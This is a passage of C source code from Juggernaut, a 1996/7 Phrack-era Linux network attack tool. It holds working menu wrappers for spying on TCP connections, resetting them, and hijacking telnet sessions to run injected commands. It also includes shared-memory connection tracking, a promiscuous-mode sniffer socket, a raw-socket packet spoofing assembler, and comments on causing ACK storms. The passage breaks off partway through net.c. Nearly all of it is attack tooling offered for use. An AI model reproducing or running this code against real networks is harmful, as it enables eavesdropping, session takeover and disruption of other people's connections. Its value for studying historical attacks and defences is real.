  4027.     float usage=0;
  4028.     char buf[MINIBUF];
  4029.  
  4030.     usage=dump();
  4031.  
  4032.     if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage);
  4033.     else fprintf(stderr,"\nDatabase is empty.");
  4034.  
  4035.     fprintf(stderr,"\n[c,q] >");
  4036.     fgets(buf,sizeof(buf),stdin);
  4037.  
  4038.     if(buf[0]=='c'){
  4039.         fprintf(stderr,"\nClear entire connection database? [y/N] >");
  4040.         fgets(buf,sizeof(buf),stdin);
  4041.         if(buf[0]=='y'){
  4042.             cleardb();
  4043.             fprintf(stderr,"\nConnection database cleared.\n[cr]");
  4044.             getchar();
  4045.         }
  4046.     }
  4047. }
  4048.  
  4049. /*
  4050.  *  Juggernaut version and option information
  4051.  */
  4052.  
  4053. void jinfo(){
  4054.  
  4055.     time_t current=0;
  4056.  
  4057.     fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);
  4058.  
  4059.     fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
  4060. #ifdef MULTI_P
  4061.     fprintf(stderr," Multi-processing\n");
  4062. #endif
  4063.  
  4064. #ifdef NOHUSH
  4065.     fprintf(stderr," Audible notification\n");
  4066. #endif
  4067.  
  4068. #ifdef USENAME
  4069.     fprintf(stderr," Use hostnames\n");
  4070. #endif
  4071.  
  4072. #ifdef GREED
  4073.     fprintf(stderr," Greedy connections\n");
  4074. #endif
  4075.  
  4076. #ifdef FASTCHECK
  4077.     fprintf(stderr," Fast IP checksuming\n");
  4078. #endif
  4079.  
  4080. #ifdef IP_HDRINCL
  4081.     fprintf(stderr," IP header include\n");
  4082. #endif
  4083.  
  4084. #ifdef THREAD
  4085.     fprintf(stderr," Multi-threading\n");
  4086. #endif
  4087.  
  4088.     time(¤t);
  4089.     fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60));   
  4090.  
  4091.     fprintf(stderr,"[cr]");            
  4092.     getchar();
  4093. }
  4094.  
  4095. /*
  4096.  *  csimplexhijack wrapper
  4097.  */
  4098.  
  4099. void simplexhijack(){
  4100.  
  4101.  
  4102.     void sputter();
  4103.     float dump();
  4104.     void csimplexhijack(struct connectionInfo *,char *);
  4105.     void cspy(struct connectionInfo *,FILE *);
  4106.     struct connectionInfo *checkc(int);
  4107.     
  4108.     char buf[MINIBUF];
  4109.     char commandbuf[BUFSIZE];
  4110.     unsigned short val;
  4111.     struct connectionInfo *target;
  4112.  
  4113.     dump();                            
  4114.     
  4115.     while(1){
  4116.         fprintf(stderr,"\nChoose a connection [q] >");
  4117.         fgets(buf,sizeof(buf),stdin);
  4118.         if(buf[0]==0x0a||buf[0]=='q')return;
  4119.         if(!(int)(val=atoi(buf)))continue;
  4120.         if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  4121.         else break;
  4122.     }
  4123.     if(ntohs(target->dport)!=23){
  4124.         fprintf(stderr,"Hijacking only valid with telnet connections.\n");
  4125.         fprintf(stderr,"[cr]");
  4126.         getchar();
  4127.         return;
  4128.     }        
  4129.     fprintf(stderr,"Enter the command string you wish executed [q] >");
  4130.     fgets(commandbuf,sizeof(commandbuf),stdin);
  4131.     if(commandbuf[0]==0x0a)return;
  4132.     fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
  4133.     fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n");
  4134.     signal(SIGINT,sputter);
  4135.     sigsentry=1;
  4136.     cspy(target,0);                    
  4137.     csimplexhijack(target,commandbuf);
  4138.     fprintf(stderr,"[cr]");
  4139.     getchar();
  4140. }
  4141.  
  4142.  
  4143. /*
  4144.  *  chijack wrapper
  4145.  */
  4146.  
  4147. void hijack(){
  4148.  
  4149.     void sputter();
  4150.     float dump();
  4151.     void chijack(struct connectionInfo *);
  4152.     void cspy(struct connectionInfo *,FILE *);
  4153.     struct connectionInfo *checkc(int);
  4154.     
  4155.     char buf[MINIBUF];
  4156.     unsigned short val;
  4157.     struct connectionInfo *target;
  4158.  
  4159.     dump();                            
  4160.     
  4161.     while(1){
  4162.         fprintf(stderr,"\nChoose a connection [q] >");
  4163.         fgets(buf,sizeof(buf),stdin);
  4164.         if(buf[0]==0x0a||buf[0]=='q')return;
  4165.         if(!(int)(val=atoi(buf)))continue;
  4166.         if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  4167.         else break;
  4168.     }
  4169.     if(ntohs(target->dport)!=23){
  4170.         fprintf(stderr,"Hijacking only valid with telnet connections.\n");
  4171.         fprintf(stderr,"[cr]");
  4172.         getchar();
  4173.         return;
  4174.     }        
  4175.     fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
  4176.     fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n");
  4177.     signal(SIGINT,sputter);
  4178.     sigsentry=1;
  4179.     cspy(target,0);                    
  4180.     sigsentry=1;
  4181.     chijack(target);
  4182.     fprintf(stderr,"[cr]");
  4183.     getchar();
  4184. }
  4185.  
  4186.  
  4187. /*
  4188.  *  Prometheus wrapper (packet assembly workshop)
  4189.  */
  4190.  
  4191. void pkta(){
  4192.  
  4193.     void mpkta();
  4194.     void mwipe();
  4195.     int prometheus(int);
  4196.     
  4197.     int val,mode;
  4198.     char buf[MINIBUF];
  4199.   
  4200.     while(1){
  4201.         mwipe();
  4202.         mpkta();
  4203.         fgets(buf,sizeof(buf),stdin);
  4204.         if(!(val=atoi(buf)))continue;
  4205.         switch(val){
  4206.             case 1:                     /* TCP */
  4207.                 mode=1;
  4208.             break;        
  4209.         case 2:                     /* UDP */
  4210.             mode=2;
  4211.         break;        
  4212.         case 3:                     /* ICMP */
  4213.                 mode=3;
  4214.         break;        
  4215.         case 4:                     /* IP */
  4216.                 mode=4;
  4217.             break;        
  4218.         case 5:                     /* Return */
  4219.             return;
  4220.         default:
  4221.             continue;
  4222.         }
  4223.         if(prometheus(mode))break;
  4224.     }               
  4225.                                     /* NOT REACHED */
  4226. }
  4227.  
  4228. <-->
  4229. <++> Juggernaut/NumberOneCrush/mem.c
  4230. /*
  4231.  *
  4232.  *                                  Juggernaut
  4233.  *                                  Version b1
  4234.  *
  4235.  *                            1996/7 Guild productions
  4236.  *                           daemon9[guild|phrack|r00t]
  4237.  *
  4238.  *                         comments to route@infonexus.com
  4239.  *
  4240.  *  This coding project made possible by a grant from the Guild corporation
  4241.  * 
  4242.  *  mem.c - contains shared memory and semaphore control logic
  4243.  * 
  4244.  *  Multi-process:
  4245.  *  Initializing and accesing shared memory:
  4246.  *  ----------------------------------------
  4247.  *  - Create the shared segment
  4248.  *  - Attach each process to the segment (in our case, the hunter child 
  4249.  *    process will inherit a pointer to the block)
  4250.  *  - Grab a semaphore 
  4251.  *  - Lock the semaphore; Manipulate shared segment; unlock the semaphore 
  4252.  *
  4253.  *
  4254.  *  Multi-threaded:
  4255.  */
  4256.  
  4257.  
  4258. #include <stdio.h>
  4259. #include <stdlib.h>
  4260. #include <string.h>
  4261. #include <arpa/inet.h>
  4262. #include <linux/if_ether.h>
  4263. #include <linux/ip.h>
  4264. #include <linux/tcp.h>
  4265. #include <sys/types.h>
  4266. #include <sys/ipc.h>
  4267. #include <sys/sem.h>
  4268. #include <sys/shm.h>
  4269.  
  4270. #define SHMKEY 242                 /* Shared memory key */
  4271. #define SEMKEY 424                 /* Semaphore key */
  4272. #define PERMS 0666                  /* Shared Memory Permissions */
  4273. #define MAXNODES 512            /* Maximum number of nodes */
  4274. #define ADDMSG "+"
  4275. #define DELMSG "-"
  4276.  
  4277. int semid;                          /* Semaphore ID */
  4278.  
  4279. struct sembuf lock[2]={{0,0,0},{0,1,SEM_UNDO}};         
  4280.                                     /* wait for sem#0 to become 0 then 
  4281.                                        increment sem#0 by 1 */
  4282. struct sembuf ulock[1]={{0,-1,(IPC_NOWAIT|SEM_UNDO)}};  
  4283.                                     /* decrement sem#0 by 1 (sets it to 0) */
  4284.  
  4285. struct epack{                       /* Generic Ethernet packet w/o data payload */
  4286.     struct ethhdr eth;              /* Ethernet Header */
  4287.     struct iphdr ip;                /* IP header */
  4288.     struct tcphdr tcp;              /* TCP header */
  4289.     char payload[8192];             /* Data Payload */
  4290. }epack;
  4291.  
  4292. static struct connectionInfo{       /* Simple tuple structure */
  4293.     unsigned long saddr;            /* Source IP */
  4294.     unsigned long daddr;            /* Destination IP */
  4295.     unsigned short sport;           /* Source TCP Port */
  4296.     unsigned short dport;           /* Destination TCP Port */
  4297. }*cinfo=0;
  4298.  
  4299. extern int verbosity;
  4300.  
  4301. /*
  4302.  *  Creates the shared memory segment then attaches it; then creates a binary 
  4303.  *  semaphore to guarantee exclusive access.  Clears the structure array.
  4304.  *  Dumps some info.    
  4305.  *  Much credit to Richard Stevens and Jeff Thompson.
  4306.  */
  4307.  
  4308. void powerup(){
  4309.     
  4310.     void locks();
  4311.     void ulocks();
  4312.     void cleardb();
  4313.  
  4314.     int shmid;                      /* Shared memory segment id */
  4315.     int len;
  4316.     
  4317.     len=sizeof(struct connectionInfo)*MAXNODES;
  4318.  
  4319.                                     /* Request a shared memory segment */
  4320.     if((shmid=shmget(SHMKEY,len,IPC_CREAT))<0){            
  4321.         if(verbosity)perror("(powerup) shared memory segment allocation error [fatal]");
  4322.         exit(1);
  4323.     }
  4324.                                     /* Get one semaphore to perform shared 
  4325.                                        memory locking with */
  4326.     if((semid=semget(SEMKEY,1,IPC_CREAT|PERMS))<0){            
  4327.         if(verbosity)perror("(powerup) semaphore allocation error [fatal]");
  4328.     exit(1);        
  4329.     }
  4330.                                     /* Attach to the shared memory segment */
  4331.     cinfo=(struct connectionInfo *)shmat(shmid,0,0);        
  4332.  
  4333.     cleardb();
  4334. }
  4335.  
  4336. /*
  4337.  *  Release the shared memory segment.
  4338.  */
  4339.  
  4340. void powerdown(){
  4341.  
  4342.     void locks();
  4343.     void ulocks();
  4344.  
  4345.     locks();
  4346.     shmdt((char *)cinfo);           /* Dettach the segment. */
  4347.     ulocks();
  4348. }
  4349.  
  4350. /*
  4351.  *  Locks the semaphore so the caller can access the shared memory segment.  
  4352.  *  This is an atomic operation.
  4353.  */
  4354.  
  4355. void locks(){
  4356.     if(semop(semid,&lock[0],2)<0){
  4357.         if(verbosity)perror("(locks) could not lock semaphore [fatal]");
  4358.         exit(1);
  4359.     }
  4360. }
  4361.         
  4362. /*
  4363.  *  Unlocks the semaphore so the caller can access the shared memory segment. 
  4364.  *  This is an atomic operation.
  4365.  */
  4366.  
  4367. void ulocks(){
  4368.     if(semop(semid,&ulock[0],1)<0){
  4369.         if(verbosity)perror("(ulocks) could not unlock semaphore [fatal]");
  4370.         exit(1);
  4371.     }
  4372. }
  4373.  
  4374.  
  4375. /* 
  4376.  *  Add a connection to our list.  Linear search of the WHOLE list to see if 
  4377.  *  it's already there (which IT SHOULDN'T BE...), if not, add it in the
  4378.  *  first open slot.
  4379.  */
  4380.  
  4381. char *addc(iphp,tcphp)
  4382. struct iphdr *iphp;
  4383. struct tcphdr *tcphp;
  4384. {
  4385.     void locks();
  4386.     void ulocks();
  4387.         
  4388.     int i=0;        
  4389.                             /* A wonderfully inefficient linear 
  4390.                                            search for duplicates */
  4391.  
  4392.     locks();                /* Lock shared memory segment */
  4393.     for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
  4394.         ulocks();
  4395.     return(0);                      /* Opps.  Found a duplicate */
  4396.     }
  4397.                                 /* Find available slot */
  4398.     for(i=0;i<MAXNODES;i++){
  4399.     if(cinfo[i].saddr)continue;
  4400.     else{
  4401.         cinfo[i].saddr=iphp->saddr;
  4402.         cinfo[i].daddr=iphp->daddr;
  4403.         cinfo[i].sport=tcphp->source;
  4404.             cinfo[i].dport=tcphp->dest;
  4405.             ulocks();
  4406.         return(ADDMSG);
  4407.     }
  4408.     }                            /* Control falls here if array is 
  4409.                                            full (which is indicative of
  4410.                                            a BUSY NETWORK!@*/
  4411.     ulocks();
  4412.     return(0);                        
  4413. }
  4414.  
  4415.  
  4416. /* 
  4417.  *  Remove a connection from our list.  Linear search until we find a 
  4418.  *  correspoding entry, or we hit the end of the list.
  4419.  */
  4420.  
  4421. char *delc(iphp,tcphp)
  4422. struct iphdr *iphp;
  4423. struct tcphdr *tcphp;
  4424. {
  4425.         
  4426.     void locks();
  4427.     void ulocks();
  4428.  
  4429.     int i=0;        
  4430.  
  4431.     locks();                        /* Lock shared memory segment */
  4432.     for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
  4433.     bzero(&cinfo[i],sizeof(cinfo[i]));
  4434.     ulocks();
  4435.         return(DELMSG);            /* Inform caller of success */
  4436.     }
  4437.     ulocks();
  4438.     return(0);                    /* hmm.  Wierd.   */
  4439. }
  4440.  
  4441.  
  4442. /* 
  4443.  *  Dump the connection list.
  4444.  */
  4445.  
  4446. float dumpc()
  4447. {
  4448.     void locks();
  4449.     void ulocks();
  4450.     char *hostLookup(unsigned long);
  4451.  
  4452.     int i=0;        
  4453.     float j=0;
  4454.  
  4455.     locks();
  4456.     for(;i<MAXNODES;i++)if(cinfo[i].saddr){
  4457.         fprintf(stderr,"(%d)\t %s [%d]\t-->\t %s [%d]\n",i+1,hostLookup(cinfo[i].saddr),ntohs(cinfo[i].sport),hostLookup(cinfo[i].daddr),ntohs(cinfo[i].dport));
  4458.         j++;
  4459.     }
  4460.     ulocks();
  4461.     if(!j)return(0);
  4462.     return(((j/MAXNODES)*100));     /* % utilization */
  4463. }
  4464.  
  4465.  
  4466. /* 
  4467.  *  Check for a connection by index number.  Really only here to make sure the
  4468.  *  connection hasn't been deleted since dump() was called....  I think I
  4469.  *  will deprecate this function in future versions...
  4470.  */
  4471.    
  4472. struct connectionInfo *checkc(target)
  4473. int target;
  4474. {       
  4475.     void locks();
  4476.     void ulocks();
  4477.  
  4478.     static struct connectionInfo tmp;
  4479.         
  4480.     locks();                    /* Lock shared memory segment */
  4481.     if(cinfo[--target].saddr){            
  4482.     memcpy(&tmp,&cinfo[target],sizeof(tmp));
  4483.     ulocks();
  4484.     return(&tmp);            
  4485.     }
  4486.     ulocks();                    /* Nope.  Not there */
  4487.     return((struct connectionInfo *)0);
  4488. }
  4489.  
  4490.  
  4491. /*
  4492.  *  Clear the connection database
  4493.  */
  4494.  
  4495. void cleardb(){
  4496.  
  4497.     void locks();
  4498.     void ulocks();
  4499.  
  4500.     int i=0;
  4501.  
  4502.     locks();
  4503.     for(;i<MAXNODES;i++)bzero(&cinfo[i],sizeof(cinfo[i]));
  4504.     ulocks();     
  4505. }
  4506. <-->
  4507. <++> Juggernaut/NumberOneCrush/menu.c
  4508. /*
  4509.  *
  4510.  *                                  Juggernaut
  4511.  *                                  Version b2
  4512.  *
  4513.  *                            1996/7 Guild productions
  4514.  *                           daemon9[guild|phrack|r00t]
  4515.  *
  4516.  *                         comments to route@infonexus.com
  4517.  *
  4518.  *  This coding project made possible by a grant from the Guild corporation
  4519.  *
  4520.  *  menu.c - menu functions.
  4521.  * 
  4522.  */
  4523.  
  4524. #include <stdio.h>
  4525.  
  4526. extern char version[];
  4527.  
  4528. /*
  4529.  *  Initial Screen
  4530.  */
  4531.  
  4532. void minit(){
  4533.  
  4534.     printf("\t\t\t   J U G G E R N A U T\n");
  4535.     printf("\t\t    multipurpose network tool for Linux\n");
  4536.     printf("\t\t\t       version: %s\n",version);
  4537.     printf("\n\n\n\n\n\n");
  4538.     printf("\t  (c) 1996/7 daemon9 | A Guild Corporation Production\t\t\t\n");
  4539.     printf("\n\n\n\n\n\n");
  4540. }
  4541.  
  4542. /*
  4543.  *  Main Menu
  4544.  */
  4545.  
  4546. void mmain(){
  4547.  
  4548.     printf("\t\t\t           Juggernaut\n");
  4549.     printf("\t\t\t+------------------------------+\n");
  4550.     printf("\t\t\t?) Help\n");
  4551.     printf("\t\t\t0) Program information\n");
  4552.     printf("\t\t\t1) Connection database\n");
  4553.     printf("\t\t\t2) Spy on a connection\n");
  4554.     printf("\t\t\t3) Reset a connection\n");
  4555.     printf("\t\t\t4) Automated connection reset daemon\n");
  4556.     printf("\t\t\t5) Simplex connection hijack\n");
  4557.     printf("\t\t\t6) Interactive connection hijack\n");
  4558.     printf("\t\t\t7) Packet assembly module\n");
  4559.     printf("\t\t\t8) Souper sekret option number eight\n");
  4560.     printf("\t\t\t9) Step Down\n");
  4561.     printf("\n\n\n\n\n\n\n\n\n");
  4562.     printf(">");
  4563. }    
  4564.  
  4565. /*
  4566.  *  Packet Assembly Menu [prometheus module]
  4567.  */
  4568.  
  4569. void mpkta(){
  4570.  
  4571.     printf("\t\t\t     Packet Assembly Module (beta)\n");
  4572.     printf("\t\t\t+------------------------------+\n");
  4573.     printf("\t\t\t1. TCP Assembler\n");
  4574.     printf("\t\t\t2. UDP Assembler\n");
  4575.     printf("\t\t\t3. ICMP Assembler\n");
  4576.     printf("\t\t\t4. IP Assembler\n");
  4577.     printf("\t\t\t5. Return to previous menu\n");
  4578.     printf("\n\n\n\n\n\n\n\n\n\n");
  4579.     printf(">");
  4580. }
  4581.  
  4582. /*
  4583.  *  TCP assembly options menu
  4584.  */
  4585.  
  4586. void mpktatcp(packetready,source,destination,seqnum,acknum,control,window,data)
  4587. int packetready;
  4588. unsigned short source;
  4589. unsigned short destination;
  4590. unsigned long seqnum;
  4591. unsigned long acknum;
  4592. char *control;
  4593. unsigned short window;
  4594. char data[512];
  4595. {
  4596.  
  4597.     printf("\t\t\t     TCP Packet Assembly\n");
  4598.     printf("\t\t\t+------------------------------+\n");
  4599.     if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
  4600.     else printf("\t\t\tSource port: %d\n",source);
  4601.     if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
  4602.     else printf("\t\t\tDestination port: %d\n",destination);
  4603.     if(!(packetready&0x04))printf("\t\t\t3. Sequence Number\n");
  4604.     else printf("\t\t\tSequence Number: %ld\n",seqnum);
  4605.     if(!(packetready&0x08))printf("\t\t\t4. Acknowledgement Number\n");
  4606.     else printf("\t\t\tAcknowledgement Number: %ld\n",acknum);
  4607.     if(!(packetready&0x10))printf("\t\t\t5. Control Bits\n");
  4608.     else printf("\t\t\tControl Flags: %s\n",control);
  4609.     if(!(packetready&0x20))printf("\t\t\t6. Window Size\n");
  4610.     else printf("\t\t\tWindow Size: %d\n",window);
  4611.     if(!(packetready&0x40))printf("\t\t\t7. Data Payload\n");
  4612.     else printf("\t\t\tData payload: %s\n",data);
  4613.     printf("\t\t\t8. Return to previous menu\n");
  4614.     printf("\t\t\t9. Return to main menu\n");
  4615.     if(packetready==0x7F)printf("\t\t\t10. Pass packet to RIP assembler\n");
  4616.     printf("\n\n\n\n\n\n\n\n\n\n");
  4617.     printf(">");
  4618. }
  4619.  
  4620. /*
  4621.  *  UDP assembly options menu
  4622.  */
  4623.  
  4624. void mpktaudp(packetready,source,destination,data)
  4625. int packetready;
  4626. unsigned short source;
  4627. unsigned short destination;
  4628. char data[512];
  4629. {
  4630.     printf("\t\t\t     UDP Packet Assembly\n");
  4631.     printf("\t\t\t+------------------------------+\n");
  4632.     if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
  4633.     else printf("\t\t\tSource port: %d\n",source);
  4634.     if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
  4635.     else printf("\t\t\tDestination port: %d\n",destination);
  4636.     if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
  4637.     else printf("\t\t\tData payload: %s\n",data);
  4638.     printf("\t\t\t4. Return to previous menu\n");
  4639.     printf("\t\t\t5. Return to main menu\n");
  4640.     if(packetready==0x7)printf("\t\t\t6. Pass packet to RIP assembler\n");
  4641.     printf("\n\n\n\n\n\n\n\n\n\n");
  4642.     printf(">");
  4643. }
  4644.  
  4645. /*
  4646.  *  ICMP assembly options menu
  4647.  */
  4648.  
  4649. void mpktaicmp(packetready,type,code,data)
  4650. int packetready;
  4651. unsigned short type;
  4652. unsigned short code;
  4653. char data[512];
  4654. {
  4655.  
  4656.     printf("\t\t\t     ICMP Packet Assembly\n");
  4657.     printf("\t\t\t+------------------------------+\n");
  4658.     if(!(packetready&0x01))printf("\t\t\t1. Type\n");
  4659.     else printf("\t\t\tType: %d\n",type);
  4660.     if(!(packetready&0x02))printf("\t\t\t2. Code\n");
  4661.     else printf("\t\t\tCode: %d\n",code);
  4662.     if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
  4663.     else printf("\t\t\tData payload: %s\n",data);
  4664.     printf("\t\t\t4. Return to previous menu\n");
  4665.     printf("\t\t\t5. Return to main menu\n");
  4666.     if(packetready==0x07)printf("\t\t\t6. Pass packet to RIP assembler\n");
  4667.     printf("\n\n\n\n\n\n\n\n\n\n");
  4668.     printf(">");
  4669. }
  4670.  
  4671. /*
  4672.  *  IP assembly options menu
  4673.  */
  4674.  
  4675. void mpktaip(packetready,tos,fflags,fo,ttl,saddr,daddr,number,packettype)
  4676. int packetready;
  4677. char *tos;
  4678. char *fflags;
  4679. unsigned short fo;
  4680. unsigned short ttl;
  4681. char *saddr;
  4682. char *daddr;
  4683. int number;
  4684. char *packettype;
  4685. {
  4686.  
  4687.     printf("\t\t\t     IP Packet Assembly\n");
  4688.     printf("\t\t\t+------------------------------+\n");
  4689.     if(!(packetready&0x01))printf("\t\t\t1. TOS\n");
  4690.     else printf("\t\t\tTOS: %s\n",tos);
  4691.     if(!(packetready&0x02))printf("\t\t\t2. Fragment Flags\n");
  4692.     else printf("\t\t\tFragment flags: %s\n",fflags);
  4693.     if(!(packetready&0x04))printf("\t\t\t3. Fragment Offset\n");
  4694.     else printf("\t\t\tFragment offset: %d\n",(fo&0x1fff));
  4695.     if(!(packetready&0x08))printf("\t\t\t4. TTL\n");
  4696.     else printf("\t\t\tTTL: %d\n",ttl);
  4697.     if(!(packetready&0x10))printf("\t\t\t5. Source Address\n");
  4698.     else printf("\t\t\tSource Address: %s\n",saddr);
  4699.     if(!(packetready&0x20))printf("\t\t\t6. Destination Address\n");
  4700.     else printf("\t\t\tDestination Address: %s\n",daddr);
  4701.     if(!(packetready&0x40))printf("\t\t\t7. Number of packets to send\n");
  4702.     else printf("\t\t\tSending %d packet(s)\n",number);
  4703.     printf("\t\t\t8. Return to previous menu\n");
  4704.     printf("\t\t\t9. Return to main menu\n");
  4705.     if(packetready==0x7f)printf("\t\t\t10. Transmit %s packet(s)\n",packettype);
  4706.     printf("\n\n\n\n\n\n\n\n\n\n");
  4707.     printf(">");
  4708. }
  4709.  
  4710. /*
  4711.  *  Clear the Screen
  4712.  */
  4713.  
  4714. void mwipe(){
  4715.  
  4716.     printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
  4717. }
  4718. <-->
  4719. <++> Juggernaut/NumberOneCrush/net.c
  4720. /*
  4721.  *
  4722.  *                                  Juggernaut
  4723.  *                                  Version b1
  4724.  *
  4725.  *                            1996/7 Guild productions
  4726.  *                           daemon9[guild|phrack|r00t]
  4727.  *
  4728.  *                         comments to route@infonexus.com
  4729.  *
  4730.  *  This coding project made possible by a grant from the Guild corporation
  4731.  * 
  4732.  *  net.c - network/socket control code and abstract data types 
  4733.  * 
  4734.  *  In the interest of time overhead vs. code size, I created several functions
  4735.  *  that do much the same thing.  You will notice the reset and jack code is 
  4736.  *  quite redundant.  Life is rough like that.  Deal with it.  Also, there are 
  4737.  *  problems with freeing malloc'd memory.
  4738.  * 
  4739.  */
  4740.  
  4741.  
  4742. #include <stdio.h>
  4743. #include <stdlib.h>
  4744. #include <time.h>
  4745. #include <ctype.h>
  4746. #include <netinet/in.h>
  4747. #include <arpa/inet.h>
  4748. #include <netdb.h>
  4749. #include <errno.h>
  4750. #include <arpa/inet.h>
  4751. #include <signal.h>
  4752. #include <string.h>
  4753. #include <setjmp.h>
  4754. #include <unistd.h>
  4755. #include <linux/socket.h>
  4756. #include <linux/ip.h>
  4757. #include <linux/tcp.h>
  4758. #include <linux/if_ether.h>
  4759. #include <linux/if_arp.h>
  4760. #include <linux/if.h>
  4761. #include <linux/sockios.h>
  4762. #include <sys/time.h>
  4763. #include <sys/resource.h>
  4764. #include <sys/ioctl.h>
  4765.  
  4766. #define DEVICE "eth0"
  4767. #define ETHHDR  14
  4768. #define PHDR    12
  4769. #define TCPHDR  20
  4770. #define IPHDR   20
  4771. #define BUFSIZE 512
  4772. #define MINIBUF    10
  4773. #define RSTS    10    /* Number of RSTs to send when RSTing a connection */
  4774. #define JCKRST    3    /* You may wish to experiment with this value.  The 
  4775.                smaller it is, your command have less time to 
  4776.                complete on the target.  However, the ACK storm 
  4777.                will also be much shorter... */
  4778. #define SNIFLOG "./juggernaut.log.snif"
  4779.                        
  4780. struct iphdr  *iphp;        /* Pointer into current packets IP header */
  4781. struct tcphdr *tcphp;       /* Pointer into current packets TCP header */
  4782. struct ethhdr *ethhp;        /* Pointer into current packets ethernet header */
  4783.  
  4784.                 /* Macro to align the pointers into the ethernet, 
  4785.                                IP, and TCP headers. */
  4786. #define ALIGNNETPOINTERS(){\
  4787.     ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\
  4788.     iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);\
  4789.     tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);\
  4790. }
  4791.  
  4792. struct epack{               /* Generic Ethernet packet w/o data payload */
  4793.     struct ethhdr eth;      /* Ethernet Header */
  4794.     struct iphdr ip;        /* IP header */
  4795.     struct tcphdr tcp;      /* TCP header */
  4796.     char payload[8192];        /* Data Payload */
  4797. }epack;
  4798.  
  4799. struct connectionInfo{
  4800.     unsigned long saddr;    /* Source IP */
  4801.     unsigned long daddr;    /* Destination IP */
  4802.     unsigned short sport;   /* Source TCP Port */
  4803.     unsigned short dport;   /* Destination TCP Port */
  4804. };
  4805.  
  4806. jmp_buf env;            /* To preserve our environment */
  4807. extern int verbosity;       /* Should we dump error messages? */
  4808.  
  4809. /*
  4810.  *  Creates a low level raw-packet socket and puts the device into promiscuous 
  4811.  *  mode.
  4812.  */
  4813.  
  4814. int tap(device)
  4815. char *device;
  4816. {
  4817.     
  4818.     int fd;                
  4819.     struct ifreq ifr;   /* Link-layer interface request structure */
  4820.                         /* Ethernet code for IP 0x800==ETH_P_IP */
  4821.     if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){    
  4822.         if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
  4823.         exit(1);                               
  4824.     }
  4825.     strcpy(ifr.ifr_name,device);                
  4826.     if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){    /* Get the device info */
  4827.         if(verbosity)perror("(tap) Can't get device flags [fatal]");
  4828.         close(fd);
  4829.           exit(1);
  4830.     }
  4831.     ifr.ifr_flags|=IFF_PROMISC;                /* Set promiscuous mode */
  4832.     if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
  4833.         if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
  4834.         close(fd);
  4835.     exit(1);
  4836.     }
  4837.     return(fd);
  4838. }
  4839.  
  4840.  
  4841. /*
  4842.  *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
  4843.  *  kernels.  Not sure about 1.2.x
  4844.  */
  4845.  
  4846. int rawsock(){
  4847.  
  4848.     int fd,val=1;
  4849.     
  4850.     if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  4851.         if(verbosity)perror("\n(rawsock) Socket problems [fatal]");
  4852.         exit(1);
  4853.     }  
  4854.  
  4855. #ifdef IP_HDRINCL
  4856.     if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){  
  4857.     if(verbosity){
  4858.             perror("Cannot set IP_HDRINCL socket option");
  4859.         fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]");
  4860.             getchar();
  4861.         }
  4862.     }
  4863. #endif
  4864.  
  4865.     return(fd);
  4866. }    
  4867.  
  4868.  
  4869. /*
  4870.  *  Hunter.  At this point, only cares about connection information (infant
  4871.  *  connections and tear-downs).  I should have it pass SEQ and ACK related
  4872.  *  info to the relevant functions...  This function will be forked to the
  4873.  *  backround as a seperate process, and in future versions it will be
  4874.  *  implemented as a seperate thread of execution.
  4875.  */
  4876.                  
  4877. void chunt(){
  4878.  
  4879.     void add(struct iphdr *,struct tcphdr *,struct ethhdr *);
  4880.     void del(struct iphdr *,struct tcphdr *);
  4881.  
  4882.     extern int linksock;        /* raw packet socket */
  4883.     
  4884.     ALIGNNETPOINTERS();
  4885.                     /* No alarm timeout here.  We block forever until packets zing by */
  4886.     while(1)if(recv(linksock,&epack,sizeof(epack),0)){
  4887.         if(iphp->protocol==IPPROTO_TCP&&(tcphp->syn&&!tcphp->ack))add(iphp,tcphp,ethhp);
  4888.     if(iphp->protocol==IPPROTO_TCP&&(tcphp->rst||tcphp->fin))del(iphp,tcphp); 
  4889.     }
  4890. }
  4891.  
  4892. /*
  4893.  *  addc() wrapper.  Checks to make sure we want to add this connection to
  4894.  *  our list....  At this point, we'll take ftp control, ssh (well, we can
  4895.  *  RST them) telnet, smtp, http, rlogin, and irc.  
  4896.  */
  4897.  
  4898. void add(iphp,tcphp,ethhp)
  4899. struct iphdr *iphp;
  4900. struct tcphdr *tcphp;
  4901. struct ethhdr *ethhp;       /* Future Use */
  4902. {
  4903.     char *addc(struct iphdr *, struct tcphdr *);
  4904.  
  4905.     char *msg;
